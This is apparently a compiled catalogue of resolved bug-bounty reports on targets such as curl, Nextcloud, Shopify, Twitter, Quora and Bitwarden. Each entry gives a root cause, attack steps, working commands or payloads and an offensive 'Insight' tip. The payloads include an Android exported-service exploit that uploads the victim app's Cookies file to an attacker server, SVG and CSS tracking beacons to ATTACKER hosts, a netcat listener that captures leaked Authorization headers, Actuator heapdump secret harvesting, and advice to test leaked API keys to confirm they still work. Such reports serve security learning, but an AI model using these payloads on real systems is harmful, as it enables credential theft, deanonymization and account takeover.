Insight — Exported deeplink/router activities that forward untrusted URIs into a WebView/InAppBrowser without scheme+host allowlisting let other apps read the victim app's private files via file:// (WebView same-origin over file scheme). Always test exported components with file:// URIs pointing at shared_prefs/DB.
Real-world example
Hardcoded Facebook App ID + Secret in shipped binary/APK
◆ Medium
Specimen #1641475 · GlassWire · none · 31 votes · resolved
Program GlassWireSurface desktopTag oauth
Root cause
A Facebook App ID and App Secret were embedded in the shipped client (GlassWire.exe/APK); the secret must never be in client code, so extracting it lets an attacker mint app access tokens.
Method
- Extract strings from the shipped binary/APK
- Find the Facebook App ID and App Secret
- Validate by requesting an app access token from the Graph API
curl "https://graph.facebook.com/oauth/access_token?client_id=APP_ID&client_secret=APP_SECRET&grant_type=client_credentials"
# -> {"access_token":"APP_ID|...","token_type":"bearer"}
Insight — Decompile/strings any desktop or mobile client and grep for client_secret, api_key, AWS AKIA, oauth secrets. Provider secrets (Facebook, Google, Twilio) shipped client-side are directly abusable; verify liveness via the provider's token endpoint before reporting.
Real-world example
Deanonymize private listings via SSR JSON + correlating response header
◆ Medium
Specimen #421009 · Shopify · USD 1000 · 30 votes · resolved
Program ShopifySurface webChain SSR JSON leak (owner/ShopID) -> X-ShopId header correlati
Root cause
A private marketplace listing hid owner details in the UI, but the server-side-rendered Hypernova <script> JSON embedded the Shop ID, owner name and email; the Shop ID was then correlated to the real store via the public X-ShopId response header on Shopify sites.
Method
- Open a private listing page
- Search the DOM for the data-hypernova-key <script> block and parse its JSON
- Extract Shop ID, owner name and email
- Correlate: crawl a Shopify-sites dataset (Wappalyzer/BuiltWith) and read each site's X-ShopId header to match the Shop ID back to the real domain
# in page source:
<script type="application/json" data-hypernova-key="...">{... "shopId":..., "ownerName":..., "ownerEmail":... }</script>
# correlate:
curl -sI https://ANY-SHOPIFY-STORE/ | grep -i X-ShopId
Insight — SSR frameworks (Hypernova, React __NEXT_DATA__, Nuxt window.__INITIAL_STATE__) dump full server objects into the DOM, often including fields the UI omits. Combine leaked internal IDs with a public correlating identifier (a response header, sitemap, or third-party dataset) to defeat anonymization.
Real-world example
Zero-click IP disclosure via rel=preconnect to attacker domain
◆ Medium
Specimen #1392211 · x · USD 560 · 28 votes · resolved
Program xSurface web
Root cause
Embedded content allowed remote third-party <link rel=preconnect>/preload URLs; Safari establishes the TCP connection to those hosts on page render (or hover/scroll) without any user click, leaking the victim's IP/hostname to the attacker's server.
Method
- Embed content whose HTML contains a preconnect/preload link to an attacker-controlled domain
- Deliver the link to the victim (tweet, DM, email)
- On open/hover/scroll, the victim's browser preconnects to the attacker host
- Attacker server logs the incoming TCP connection and reads victim IP + hostname
<link href="https://ATTACKER" rel="preconnect">
<link href="//ATTACKER" rel="preconnect">
<!-- also: rel=preload, rel=dns-prefetch -->
Insight — Resource-hint tags (preconnect/preload/dns-prefetch/prefetch) fire network requests with no click and no history entry. Anywhere user-influenced HTML/link metadata is rendered, test these tags for zero-click deanonymization / SSRF-lite / tracking.
Real-world example
Jetty Jetleak (CVE-2015-2080) shared-buffer leak
◆ Medium
Specimen #143935 · x · awarded · 28 votes · resolved
Program xSurface web
Root cause
Vulnerable Jetty versions (9.2.3-9.2.8) leak previously-buffered bytes from other clients' requests into error responses when a request contains an illegal character in a header value.
Method
- Fingerprint the Server header for a vulnerable Jetty version (e.g. Jetty(9.2.6.v20141205))
- Send a request with an illegal character in a header to trigger a 400 whose reason echoes leaked buffer bytes
- Repeat to harvest other users' request data (cookies, tokens)
# Detect version:
GET / HTTP/1.1
Host: TARGET
# Server: Jetty(9.2.6.v20141205) <- in vulnerable 9.2.3-9.2.8 range
# Trigger (illegal header char) per GDSSecurity Jetleak-Testing-Script
Insight — Always version-fingerprint the Server header against known shared-buffer/heap-leak CVEs (Jetleak, Heartbleed, Cloudbleed class). A single banner can convert to cross-user data disclosure with a public PoC.
Real-world example
Spring Boot Actuator heapdump/env exposure
◆ Medium
Specimen #1019367 · stripo · none · 28 votes · resolved
Program stripoSurface webChain Leaked keys/secrets from heapdump -> onward auth/access.Tag cloud-aws
Root cause
Spring Boot Actuator management endpoints were exposed without authentication under an app path, letting anyone pull /actuator/heapdump (full JVM memory) and /actuator/env, revealing source, private keys and secrets.
Method
- Probe common Actuator base paths: /actuator, /manage, /admin, and app-specific prefixes.
- Enumerate sensitive endpoints: /actuator/env, /actuator/heapdump, /actuator/configprops, /actuator/mappings, /actuator/threaddump.
- Download the heapdump and grep the memory image for credentials, tokens, private keys and connection strings.
GET /<prefix>/actuator/heapdump # ~110MB JVM heap -> source, private keys, internal data
GET /<prefix>/actuator/env # environment variables / secrets
# grep heapdump for: password, secret, AKIA, -----BEGIN, jdbc:
Insight — Whenever a Spring Boot app is in scope, brute the Actuator base path; heapdump is the crown jewel because it yields secrets even when /env values are masked. Severity is often capped by asset policy, not by real impact.
Real-world example
Internal PII via injecting field name into analytics metrics array
◆ Medium
Specimen #1575560 · tiktok · 1000 · 27 votes · resolved
Program tiktokSurface apiTag api
Root cause
Analytics/reporting endpoints resolve arbitrary field names supplied in a 'metrics' (dimensions) array against an internal schema; requesting an internal-only field like employee_email returns data never meant for the API surface.
Method
- Find an ads/analytics reporting API that takes a metrics[]/dimensions[] array
- Add speculative internal field names (employee_email, internal_id, cost, etc.) to the array
- Observe the response returning the extra internal column
POST /reporting {"metrics":["impressions","employee_email"], ...}
Insight — On GraphQL-ish or column-selectable analytics APIs, fuzz the field/metric list with internal-sounding names; the backend often has no allow-list and leaks internal columns.
Real-world example
Credentials in test-automation scripts on GitHub
◆ Medium
Specimen #1078373 · acronis · 50 · 27 votes · resolved
Program acronisSurface webTag account-takeover
Root cause
Login/password hardcoded inside a Selenium/Behave test step file pushed to a public repo granted direct portal access.
Method
- Search GitHub for org domains + test frameworks (Selenium/Behave/Cypress)
- Grep find_element .send_keys / fill() for literal creds
- Try creds on the corresponding login portal
driver.find_element_by_xpath("//input[@name='login']").send_keys("<user>")
driver.find_element_by_xpath("//input[@name='password']").send_keys("<pass>")
Insight — Test-automation code (page objects, .feature steps, CI fixtures) is a rich, under-scrubbed source of live credentials; dork for the target's automation repos.
Real-world example
Password-reset token leaked via Referer to third-party
◆ Medium
Specimen #1177287 · upchieve · none · 27 votes · resolved
Program upchieveSurface webChain Referer leak -> reset token -> account takeoverTag account-takeover
Root cause
The password-reset token is carried in the URL path, and the reset page loads third-party (analytics) resources. The full reset URL is sent to those origins in the Referer header, exposing the token.
Method
- Request a reset link and open it
- Observe the page make requests to third-party hosts (analytics/CDN)
- Those requests carry Referer: https://app/.../setpassword/{TOKEN}
- Attacker with access to that third-party log obtains the token
POST /events/... ?...&ref=https://app.upchieve.org/setpassword/e2d710c6e099bf07d63507602a44c176
Host: bam.nr-data.net (token leaked in Referer)
Insight — Any secret placed in a URL (reset/verify/invite/magic-link tokens) leaks via the Referer header to every third-party resource the page loads. Test by opening the link and watching outbound requests; fix with Referrer-Policy and tokens in POST body.
Real-world example
Roundcube sanitizer bypass: SVG SMIL values/by load remote resources
◆ Medium
Specimen #3590576 · nextcloud · none · 26 votes · resolved
Program nextcloudSurface web
Root cause
Roundcube's rcube_washtml validates URI-bearing SMIL attributes (to/from) but the values and by attributes fall through to a generic allow-list pass-through with no URI check; the element-level animation block only rejected attributeName=href (the CVE-2024-37383 fix), so animating mask/cursor loads arbitrary external URLs even with block-remote-images enabled.
Method
- Send an HTML email containing an SVG whose <animate> uses values/by (not to/from) to load a remote URL.
- Target a resource-loading CSS property via attributeName=mask or cursor (not href), evading the href-only block.
- On open (mask) or hover (cursor), the client fetches the attacker URL, defeating remote-image blocking (open/read-time/hover tracking).
<svg width="1" height="1" style="position:absolute;left:-9999px">
<rect width="1" height="1" fill="white">
<animate attributeName="mask"
values="url(//ATTACKER_SERVER/track?uid=victim@test.com)"
fill="freeze" dur="0.001s" />
</rect>
</svg>
<!-- dwell-time: values="none;url(//A/ping?t=1);url(//A/ping?t=2)" dur="5s" repeatCount="indefinite" -->
<!-- hover: <animate attributeType="CSS" attributeName="cursor" values="url(//A/track), auto" .../> -->
Insight — To bypass an HTML sanitizer's remote-resource block, enumerate every attribute that can carry a URL and check which are individually validated — sibling attributes of a validated one (values/by vs to/from) are commonly forgotten. Blocklists keyed on a single attribute name (href) miss other resource-loading CSS targets (mask, cursor, filter, clip-path). Same class of bypass applies to any washtml/DOMPurify-style allowlist.
Real-world example
Invitation token JSON leaks PII and private program identity
◆ Medium
Specimen #290930 · security · none · 25 votes · resolved
Program securitySurface apiTag api
Root cause
An unaccepted invitation token exposed at /invitations/<token>.json returned the invitee's email and the (private) team's name/handle/state without auth.
Method
- Obtain an invitation token (leaked in summaries, emails, referers)
- GET /invitations/<token>.json
- Read email + team.handle/state even for soft-launched private programs
GET https://hackerone.com/invitations/<token>.json
-> {"email":"..","team":{"handle":"..","state":"soft_launched"}}
Insight — Token-scoped .json endpoints often over-return; a single leaked invite/reset token deanonymizes users and private programs.
Real-world example
Tor de-anonymization via unproxied built-in extension request
◆ Medium
Specimen #604945 · brave · awarded · 25 votes · resolved
Program braveSurface desktopTag account-takeover
Root cause
Built-in extension (PDF viewer) AJAX requests in a fresh Tor window were not routed through the Tor proxy until the user first loaded an HTTP/HTTPS page, leaking the real client IP.
Method
- Cold-start the browser
- Open a Tor window and, before any HTTP nav, open chrome-extension://<pdfviewer>/http://attacker/x.pdf
- Attacker server logs the real (non-Tor) IP
chrome-extension://oemmndcbldboiebfnladdacbdfmadadm/http://ATTACKER/ip.pdf
Insight — Privacy proxying is often initialized lazily; probe pre-navigation states (cold start, first request, service workers, extensions) where the proxy isn't yet applied.
Real-world example
Unauth Jira field enumeration (CVE-2020-14179)
◆ Medium
Specimen #1003980 · endless_group · none · 25 votes · resolved
Program endless_groupSurface webTag api
Root cause
Vulnerable Jira versions expose custom field and SLA names to unauthenticated users at /secure/QueryComponent!Default.jspa.
Method
- Fingerprint Jira version
- GET /secure/QueryComponent!Default.jspa unauthenticated
- Read the returned custom field / SLA names
GET https://jira.TARGET/secure/QueryComponent!Default.jspa
Insight — Keep a checklist of unauth Jira/Confluence/Atlassian info-disclosure paths (QueryComponent!Default.jspa, /rest/api/2/dashboard, InsightManagement) to fire on any Atlassian host.
Real-world example
Bearer token leaks to redirect host via netrc host-check bypass (curl)
◆ Medium
Specimen #3583983 · curl · none · 25 votes · resolved
Program curlSurface networkTag oauth
Root cause
In curl, the netrc branch (http.c:822) skips Curl_auth_allowed_to_host(), and the CURLAUTH_BEARER output path has no host check, so an --oauth2-bearer token is re-sent to the redirect target when --netrc has a matching (or 'default') entry; an incomplete fix for CVE-2025-14524.
Method
- Client uses --oauth2-bearer with --netrc (or default entry) and follows redirects (-L)
- Attacker/first server returns 302 to attacker host
- Bearer is emitted on the redirected request to the attacker
echo "default login u password p" > netrc
curl -v --oauth2-bearer SECRET --netrc-file netrc -L http://server-a/redirect
# server-b receives: Authorization: Bearer SECRET
Insight — On any HTTP client, test cross-origin redirects for auth-header/credential persistence; netrc 'default' entries and separate code paths (SASL vs HTTP vs -H) mean a class fix in one path often misses others.
Real-world example
Third-party API key leaked in request, validated via staticmap
◆ Medium
Specimen #724039 · pingidentity · 150 · 24 votes · resolved
Program pingidentitySurface webTag cloud-gcp
Root cause
A Google Maps API key was embedded in a client GET request (device pairing flow) and was unrestricted, enabling billing abuse by any observer.
Method
- Proxy the app and grep requests/JS for key=/api_key/AIza
- Validate the key against a billed Google endpoint
https://maps.googleapis.com/maps/api/staticmap?center=40.7,-73.9&zoom=12&size=600x400&key=AIza...
Insight — Grep traffic/JS for AIza (Google), sk_live/pk_live (Stripe), AKIA (AWS); validate and, for Google keys, prove impact via a billed API like staticmap.
Real-world example
Image-blocker bypass via CSS url() properties
◆ Medium
Specimen #1215251 · nextcloud · 100 · 24 votes · resolved
Program nextcloudSurface webTag account-takeover
Root cause
Nextcloud Mail's remote-image/privacy filter blocked <img> and common remote resources but not CSS url() in list-style-image and background-image, allowing a remote fetch (tracking pixel) on message open.
Method
- Send an HTML email using CSS url() instead of <img>
- Point list-style-image/background-image at your log server
- On open, the client fetches it, leaking IP/open-time
<style>big{background-image:url(https://ATTACKER/p.png)} ul{list-style-image:url(https://ATTACKER/p.png)}</style><big>x</big><ul><li>a</li></ul>
Insight — Content sanitizers that blacklist <img>/src frequently miss CSS url() sinks (background-image, list-style-image, border-image, cursor); test those to bypass image/CSP blockers.
Real-world example
Proxy credential leak across trust boundary on redirect-driven proxy re-selection
◆ Medium
Specimen #3669637 · curl · none · 24 votes · resolved
Program curlSurface otherChain Redirecting server -> proxy re-selection -> Proxy-AuthTag webhook
Root cause
libcurl keeps proxy credentials learned from http_proxy in per-transfer state; when a redirect (http->https) forces re-selection to https_proxy, the stale credentials are reused and sent to a different, credential-less proxy (CVE-2026-6253).
Method
- Set http_proxy=http://user:pass@proxyA and https_proxy=http://proxyB (no creds)
- curl -L an http:// URL that 302-redirects to an https:// URL
- First hop uses proxyA with creds; after redirect libcurl re-selects proxyB
- proxyB receives Proxy-Authorization: Basic ... on its first CONNECT
http_proxy=http://user:pass@127.0.0.1:8081 \
https_proxy=http://127.0.0.1:8082 \
curl -k -L http://127.0.0.1:8000/redir
# proxyB CONNECT gets: Proxy-Authorization: Basic dXNlcjpwYXNz
Insight — Per-transfer secret state that survives a scheme/host/proxy switch on redirect is a credential-leak class. When auditing HTTP clients, test redirect-following against a config where the redirect changes which credentialed component is selected, and watch whether stale auth leaks.
Real-world example
Exported Android service steals app-private files (gotev UploadService)
◆ Medium
Specimen #258460 · quora · awarded · 23 votes · resolved
Program quoraSurface mobile-androidChain exported service -> read app-private cookie/token file -&Tag account-takeover
Root cause
A third-party upload library component is declared android:exported=true, so any installed app can invoke it with attacker-chosen file paths and a remote URL, exfiltrating protected files (cookies, auth tokens) the target app can read.
Method
- Find an exported service in the target's manifest (here net.gotev.uploadservice.UploadService)
- From a malicious app, build an Intent naming that component with the app-private file path and attacker server
- startService() runs it under the victim app, uploading its private files
UploadTaskParameters params = new UploadTaskParameters();
params.setId("1337");
params.setServerUrl("http://attacker/collect");
params.addFile(new UploadFile("/data/data/com.quora.android/app_webview/Cookies"));
Intent intent = new Intent("net.gotev.uploadservice.action.upload");
intent.setClassName("com.quora.android","net.gotev.uploadservice.UploadService");
intent.putExtra("taskParameters", params);
startService(intent);
Insight — Enumerate exported=true services/receivers in the manifest and check whether any accept file paths or URLs. An exported component with the victim app's UID becomes a confused-deputy file-read/exfil primitive; steal Cookies/shared_prefs tokens for account takeover.
Real-world example
XSLeaks: login detection and cross-origin deanonymization via events-fired oracle
◆ Medium
Specimen #723175 · imgur · awarded · 23 votes · resolved
Program imgurSurface webTag cors
Root cause
Endpoints return status 2xx in one victim state and 4xx in another; embedding them in a script tag and observing onload vs onerror leaks that state cross-origin (auth state, profile ownership).
Method
- Find an endpoint whose HTTP status differs by victim state (logged in/out, owns profile)
- Embed it as <script src>
- onload => 2xx state, onerror => 4xx state
- Use a per-username resource to test if the visitor owns that profile
// login oracle
<script src="https://api.imgur.com/3/larynx/history?...&client_id=546c25a59c58ad7"
onload="loggedIn()" onerror="loggedOut()"></script>
// per-user deanonymization
<script src="https://USERNAME.imgur.com/all" onload="isOwner()" onerror="notOwner()"></script>
Insight — Map endpoints whose status code varies by session/ownership state; script/img/link onload-onerror turns those into cross-site oracles. Fix by normalizing status codes and adding SameSite/Fetch-Metadata/CORP protections.
Real-world example
Triage/employee public repos leak private-program report data
◆ Medium
Specimen #2937622 · security · 2700 · 222 votes · resolved
Program securitySurface cloudTag supply-chain
Root cause
Predictably-named public GitHub profiles belonging to H1-managed triage staff hosted PoC/reproduction repos for private programs, indirectly leaking report contents, access tokens, server URLs and secrets.
Method
- Guess triage/staff GitHub/GitLab usernames (predictable naming)
- Enumerate their public + fork repos and recent commits
- Read PoC files, GH Actions workflows and committed exploits tied to private programs
Insight — Bug-triage and internal-tooling staff reproduce private findings in public repos/forks (esp. for GH-Actions-injection PoCs). Enumerating their profiles leaks private-program details and secrets - a distinct recon surface from the org's own repos.
Real-world example
curl leaks Basic-auth password fragment over plaintext DNS on relative redirect (CVE-2020-8169)
◆ Medium
Specimen #874778 · curl · awarded · 21 votes · resolved
Program curlSurface otherTag account-takeover
Root cause
When a server responds with a relative Location redirect, curl >=7.62 mis-parses the userinfo, treating part of the password (after a special char like @) as a hostname, then resolves it via DNS - sending credential bytes in cleartext to the resolver and any on-path observer.
Method
- Point curl at a server that 301/302 redirects to a relative path (Location: /login)
- Supply Basic-auth creds where the password contains an @
- curl follows the redirect and DNS-resolves 'S3cr3t@host', leaking the password fragment
curl https://TARGET/302 -v -L -u saduser:@S3cr3t
# -> * Could not resolve host: S3cr3t@TARGET (password fragment now in DNS query)
Insight — Redirect handling in HTTP clients is a rich source of credential leaks. Test any curl/libcurl-driven daemon by flipping the origin between absolute and relative Location redirects; watch DNS for credential bytes. Absolute redirects are safe, relative ones are not.
Real-world example
Origin IP leak from CDN proxy via malformed Range header
◆ Medium
Specimen #1803659 · cloudflare · awarded · 21 votes · resolved
Program cloudflareSurface webChain origin IP disclosure -> bypass CDN/WAF by hitting origin Tag cors
Root cause
A CDN/edge proxy (Cloudflare Pingora) echoes internal origin IP information in an error/response header when handling a crafted malformed Range request against a cached-but-revalidating object.
Method
- Find a cached asset served through the CDN
- Send a request with a malformed Range header while the cache entry is in a REVALIDATED state
- Inspect response headers for leaked origin/backend IP
GET /cached-asset.js HTTP/1.1
Host: TARGET
Range: bytes=malformed-invalid
Insight — Origin-IP discovery beats WAF/CDN protection. Fuzz edge-specific headers (Range, If-Range, malformed conditional headers) against cached objects and diff response headers for backend IPs, hostnames or stack traces.
Real-world example
Query-builder table-alias confusion -> blind boolean exfil of unauthorized columns
◆ Medium
Specimen #1824342 · security · none · 21 votes · resolved
Program securitySurface apiTag graphql
Root cause
Two logical tables (dim_hacker_reports, dim_reports) back onto the same model. The query builder does not alias the underlying table, so a WHERE/HAVING predicate can reference a column of the sibling (privileged) table that was never SELECTed/JOINed; the missing schema check turns row-presence into a boolean oracle.
Method
- Query the low-privilege virtual table you are allowed (from: dim_hacker_reports)
- In the where predicate, reference a column that only exists on the privileged sibling table (dim_reports__<secret_col>)
- Because there is no alias isolation, the predicate binds to the underlying shared table
- Use eq/comparison predicates and observe whether the row returns to infer the secret column value bit by bit
query {
analytics(queries: [{
select: [{ field: dim_hacker_reports__report_id }]
from: dim_hacker_reports
where: { predicates: [{
left: { ref: dim_reports__is_triage_sla_missed }
function: eq
right: { boolean: false }
}]}
}]) { keys values }
}
Insight — Any query/report builder that maps multiple 'virtual tables' to one physical model is a candidate: try referencing columns from a sibling table you shouldn't see in WHERE/HAVING/ORDER BY. If the engine forgets to alias or re-check schema membership, you get a blind boolean oracle over privileged columns.
Real-world example
Stored HTML injection in support panel beacons staff private IPs/User-Agents
◆ Medium
Specimen #634312 · weblate · none · 21 votes · resolved
Program weblateSurface webChain stored HTML injection -> staff-side external resource loaTag webhook
Root cause
A support/contact form stores unsanitized input that is rendered in the internal agent panel; an injected <img> forces the analyst's browser to fetch an attacker URL, exfiltrating internal IPs and User-Agents (and enabling blind XSS recon) of staff.
Method
- Submit a support ticket with an HTML payload in every field
- Wait for a support agent to open the ticket in the internal panel
- Collect the agent's outbound request on your server: private IP + User-Agent
"><img src="http://COLLAB/beacon">
Insight — Any place attacker text is later viewed by staff (support tickets, admin dashboards, log viewers) is a blind-injection surface. Even without full XSS, a single external <img>/CSS load deanonymizes internal reviewers (source IP, UA, and confirms the sink fires) - a stepping stone to blind XSS/SSRF.
Real-world example
Browser persists exact onion-connection timestamps to on-disk tor.log
◆ Medium
Specimen #1249056 · other · none · 21 votes · resolved
Program otherSurface desktopTag account-takeover
Root cause
Brave's bundled Tor writes warning lines with precise timestamps for every v2 onion connection to a persistent tor.log; a local/physical attacker can read it to reconstruct a full timeline of the user's browsing and correlate with server-side logs.
Method
- Gain local read access to the user's profile
- Read ~/.config/BraveSoftware/Brave-Browser/tor/data/tor.log
- Extract timestamped connection events for correlation/deanonymization
cat ~/.config/BraveSoftware/Brave-Browser/tor/data/tor.log
# Jul 01 08:40:50.000 [warn] You've just connected to a v2 onion address...
Insight — Privacy tools that log 'harmless' warnings to persistent disk defeat their own threat model. When auditing desktop/mobile apps, grep the profile dir for logs recording sensitive events (visited hosts, timestamps, tokens) that survive session end.
Real-world example
Un-redacted, non-revoked API keys inside publicly disclosed H1 reports
◆ Medium
Specimen #1047125 · stripo · none · 21 votes · resolved
Program stripoSurface webTag cloud-aws
Root cause
A program disclosed an old report without blurring the API keys it contained, and those keys were never rotated - so the public disclosure itself is a live secret leak.
Method
- Browse a program's disclosed/public hacktivity for reports mentioning keys/tokens
- Note keys that were left unredacted in the report body
- Validate each against the vendor API to confirm it is still active
# Validate a YouTube Data API key straight from the disclosed report:
curl 'https://youtube.googleapis.com/youtube/v3/search?key=LEAKED_KEY' # 200 -> still valid
Insight — Disclosed reports are a secret-hunting corpus of their own. When mining a program's public reports, extract every credential-looking string and test it; redaction and rotation are frequently forgotten. Always confirm liveness rather than assuming stale.
Real-world example
API returns friends list + phone numbers beyond UI (excessive data exposure)
◆ Medium
Specimen #1245741 · other · awarded · 21 votes · resolved
Program otherSurface mobile-iosChain username -> friends graph enumeration -> per-user phonTag account-takeover
Root cause
The 'add by username' and friend-request API responses include data the UI never shows: a target's full friends list (with usernames) from /UserPublicFriends, and both parties' phone numbers from /FriendRequestCreate - returned even though the friend request was never accepted.
Method
- Proxy the mobile app; search a known username (do not tap Add)
- Read /UserPublicFriends response -> full friends list + usernames (recurse to map the graph)
- Tap Add as Friend; read /FriendRequestCreate response -> target's phone number without acceptance
# just search, no friend request sent:
GET /UserPublicFriends?username=TARGET -> {friends:[{username,...}]}
# friend request never accepted:
POST /FriendRequestCreate {username:TARGET} -> {target:{phone_number:...}}
Insight — Always diff API responses against what the UI renders - social/contact features routinely over-return (phone, email, friend graph). Actions gated in the UI (accept/confirm) are often not gated server-side, so the data is available before/without the gate.
Real-world example
curl leaks Authorization/Cookie on same-host http:// redirect (CVE-2022-27776)
◆ Medium
Specimen #1547048 · other · none · 21 votes · resolved
Program otherSurface otherChain credential-forwarding redirect -> Authorization/Cookie exTag account-takeover
Root cause
curl only stripped credentials on cross-host redirects; a redirect to an http:// URL (or different port) on the SAME host was not treated as a downgrade, so Authorization and Cookie headers were forwarded over cleartext/attacker-reachable ports.
Method
- Configure the origin (e.g. mod_rewrite) to 301 curl clients to http://samehost:9999
- Listen on the low port with netcat
- curl -L with Authorization/Cookie follows the redirect and leaks the headers to the plaintext port
# server:
RewriteCond %{HTTP_USER_AGENT} "^curl/"
RewriteRule ^/redirectpoc http://hostname.tld:9999 [R=301,L]
# attacker listener:
while true; do echo -ne 'HTTP/1.1 404\r\n\r\n' | nc -vl -p 9999; done
# victim:
curl -L -H "Authorization: secrettoken" -H "Cookie: secretcookie" https://hostname.tld/redirectpoc
Insight — Header-stripping logic that only keys on hostname misses protocol/port downgrades. When auditing any HTTP client's redirect handling, test same-host https->http and port changes - credentials should be stripped on any origin change, not just host change.
Real-world example
Forced-browse to predictable /keys/ directory exposes API secrets
◆ Medium
Specimen #268888 · twitter · awarded · 20 votes · resolved
Program twitterSurface webTag cloud-aws
Root cause
A dev/staging host serves a guessable directory (/keys/) with a JSON file (json.json) containing customer_key, customer_secret and jira_password.
Method
- Enumerate common secret directories/files on dev subdomains
- Request /keys/ then the JSON inside
- Harvest customer_key/secret and integration passwords
# content-discovery wordlist against dev/staging hosts
https://TARGET/keys/
https://TARGET/keys/json.json -> {"customer_key":...,"customer_secret":...,"jira_password":...}
Insight — Directory/content brute-forcing of dev-* subdomains still pays: prioritize wordlist entries like /keys, /config, /secrets, /.json, /credentials.json. Dev hosts often skip the access controls their prod counterparts have.
Real-world example
Public /debug page enumerates internal fleet IPs via repeated requests
◆ Medium
Specimen #311326 · twitter · awarded · 20 votes · resolved
Program twitterSurface webChain internal IP enumeration -> targeting map for post-footholTag cloud-aws
Root cause
An unauthenticated /debug endpoint reflects the internal IP and header names of the backing instance; because a load balancer routes each request to a different backend, scripting the request enumerates the whole internal 10.x fleet.
Method
- Find a public /debug (or actuator-style) endpoint that echoes internal request metadata
- Request it once to see the internal IP
- Loop the request; each response reveals a new internal IP behind the LB
for i in $(seq 1 100); do curl -s https://TARGET/debug | grep -Eo '10(\.[0-9]+){3}'; done | sort -u
Insight — Debug/health/actuator pages that echo the serving instance IP become a fleet-mapping tool when a load balancer fans requests across backends - repeat and dedupe to map the internal network.
Real-world example
Exposed sourcemaps/unminified JS reveal internal endpoints
◆ Medium
Specimen #845677 · imgur · awarded · 19 votes · resolved
Program imgurSurface webTag account-takeover
Root cause
Production pages ship sourcemaps and an unminified source tree, exposing internal code, comments, and links to non-public dev/git/VPN endpoints.
Method
- Browse authenticated pages (upload, settings, messages) and watch loaded JS
- Look for */include/js/ unminified folders or .js.map files
- Pull the source and grep for internal hostnames, endpoints, and credentials/comments
# fetch and reconstruct
curl https://s.imgur.com/desktop-assets/js/app.<hash>.js.map -o app.map
# grep source for internal URLs / dev builds / git / vpn logins
Insight — Sourcemaps and stray unminified bundles turn a black-box SPA into white-box: map the whole client, then pivot on leaked internal hostnames (dev builds, git, VPN portals) as fresh attack surface.
Real-world example
Account enumeration + PII via invite/add-user email lookup
◆ Medium
Specimen #1083922 · shopify · awarded · 18 votes · resolved
Program shopifySurface webTag account-takeover
Root cause
An add-user/invite flow resolves an entered email to an existing account and renders the account's full name before the invite is accepted, leaking identity by email.
Method
- Open the team/org add-user or invite form
- Enter the email of any account you want to probe
- Submit and read the returned/pending-invite view showing the resolved full name
POST /<org-id>/users/invite
email=victim@example.com&role=staff
# response/pending-invite page renders victim's first+last name if account exists
Insight — Invite flows are an under-tested PII oracle: enter an email, get back existence + display name without consent. Compare against the standard invite flow (which hides identity until acceptance) to prove the leak.
Real-world example
Public share API leaks metadata ignoring share password
◆ Medium
Specimen #1337422 · nextcloud · awarded · 18 votes · resolved
Program nextcloudSurface api
Root cause
A secondary public API endpoint keyed by share token returns folder structure and file sizes without enforcing the password protecting the share (CVE-2021-41233).
Method
- Obtain the public shareToken of a password-protected drop/share
- Call the app's public workspace/listing API with that token (no password)
- Enumerate subfolders via the folder parameter to map structure and sizes
curl -H 'OCS-APIREQUEST: true' 'https://TARGET/ocs/v2.php/apps/text/public/workspace?shareToken=ABCDE12345'
curl -H 'OCS-APIREQUEST: true' 'https://TARGET/ocs/v2.php/apps/text/public/workspace?shareToken=ABCDE12345&folder=subfolder'
Insight — Password/ACL checks are often enforced on the primary UI route but skipped on sibling API/app endpoints that share the same token. Enumerate every endpoint that accepts the share token.
Real-world example
Local secret readable despite biometric prompt (decorative Windows Hello gate)
◆ Medium
Specimen #1874155 · bitwarden · none · 18 votes · resolved
Program bitwardenSurface desktopChain local key read -> vault decrypt -> stored token reuse Tag account-takeover
Root cause
The biometric master key is stored in cleartext in Windows Credential Manager and readable by any unprivileged process; the Windows Hello prompt gates only the UI, not access to the key (CVE-2023-27706).
Method
- Enumerate the user's Windows Credential Manager entries
- Read the Bitwarden_biometric/<uuid>_masterkey_biometric credential via CredRead
- Derive enc/HMAC keys, decrypt %appdata%/Bitwarden/data.json, reuse stored bearer/refresh token to modify vault server-side
# Python ctypes -> advapi32 CredReadW for target name:
Bitwarden_biometric/<account_uuid>_masterkey_biometric
# key persists after vault lock and app close; also readable by any local admin for other users
Insight — When an app claims biometric-gated local encryption, test whether the prompt actually protects the key or is just a UI gate. Dump Credential Manager / Keychain / DPAPI stores directly; a secret readable without the prompt means the biometric is decorative.
Real-world example
Autocomplete/typeahead API leaks group membership to non-members
◆ Medium
Specimen #1850407 · nextcloud · awarded · 17 votes · resolved
Program nextcloudSurface web
Root cause
The core autocomplete/share-suggestion API returns users for a room without checking the caller's membership, and it excludes current members - so a non-member can infer exactly who is in the room by diffing suggestions (CVE-2023-28845).
Method
- As a non-member, call the autocomplete endpoint with itemType=call and the target room id
- A searched user absent from the suggestions is a current member
- Add/remove a user and re-query to confirm the membership oracle
GET /ocs/v2.php/core/autocomplete/get?search=demo&itemType=call&itemId=<ROOMID>&shareTypes[]=0&shareTypes[]=1&shareTypes[]=7&shareTypes[]=4
(header: requesttoken: <OC.requestToken>)
Insight — Autocomplete, typeahead and share-suggestion endpoints leak user existence and group/room membership. The 'exclude current members' filter is itself a membership oracle even when it returns no data for members.
Real-world example
NoSQL $regex operator injection as ID brute-force oracle
◆ Medium
Specimen #1063114 · rocket_chat · none · 17 votes · resolved
Program rocket_chatSurface api
Root cause
A Meteor method accepts a client-supplied object for a Mongo _id lookup; passing {$regex:...} instead of a string turns the authorization error path into a boolean oracle that confirms message-ID existence.
Method
- Call the method with _id as a $regex object rather than a string
- Craft the regex to alternate a wildcard with a candidate known ID
- Use the error/no-error response to confirm each guessed prefix, extending until the full private _id is recovered
Meteor.call('unreadMessages', { _id: { $regex: /(.*|<KNOWN_MESSAGE_ID>)/ } }, (e,i)=>console.log(!!e))
// error-action-not-allowed => a message matched (exists); refine regex to brute-force the id
Insight — Any server method that feeds a client object straight into a Mongo query is injectable: swap a string param for {$regex}/{$gt}/{$ne} to build existence/boolean oracles. Fix is to coerce inputs to String.
Real-world example
WordPress ?p= enumeration + predictable export CSV endpoints
◆ Medium
Specimen #1172852 · wordpress · awarded · 17 votes · resolved
Program wordpressSurface webChain post-id enumeration -> export endpoint discovery -> bu
Root cause
Sequential post IDs are enumerable via ?p={id} (301 Location leaks the real slug), and unauthenticated export/CSV endpoints with predictable names expose participant PII.
Method
- Iterate ?p=1..N and read the 301 Location header to map hidden slugs/pages
- Discover export endpoints (predictable do_action-export-<unix_ts> paths)
- Download the CSVs containing Name/Email/Phone/Role/Organisation
